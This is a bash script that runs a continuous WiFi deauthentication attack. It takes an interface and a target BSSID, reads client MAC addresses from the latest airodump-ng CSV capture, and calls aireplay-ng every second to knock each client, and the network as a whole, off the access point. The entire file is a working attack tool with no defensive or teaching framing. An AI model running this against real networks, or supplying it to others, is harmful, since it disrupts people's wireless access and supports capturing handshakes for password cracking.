#! /usr/bin/env bash

interface=$1
bssid=$2

if [[ ( -z "$interface" ) || ( -z "$bssid" ) ]]
then
	echo Usage: $(basename $0) interface bssid
	exit
fi

echo $$ >> "$(echo $0 | sed s/\.sh$//).pid"

identifier=$(echo $bssid | tr '[A-Z]' '[a-z]' | tr --delete ':')

cd "$(dirname "$0")"
cd ..

cd capture
mkdir -p $identifier
cd $identifier

while true
do
	sleep 1

	if ls -1 ????-??-??-??-??-??-??.csv &> /dev/null 
	then
		file=$(ls -1 ????-??-??-??-??-??-??.csv | tail --lines 1)
		list=$(cat $file | tail --lines +6)
		while read line
		do
			client=$(echo $line | cut -d ',' -f 1 | tr --complement --delete '[0-9A-F:]')
			if [ -n "$client" ]
			then
				echo $(date +"%Y-%m-%d %H:%M:%S") Deauth BSSID $bssid client $client
				aireplay-ng -0 1 -a $bssid -c $client $interface &> /dev/null
			fi
 		done <<< "$list"
	fi

	echo $(date +"%Y-%m-%d %H:%M:%S") Deauth BSSID $bssid
	aireplay-ng -0 1 -a $bssid $interface > /dev/null
done

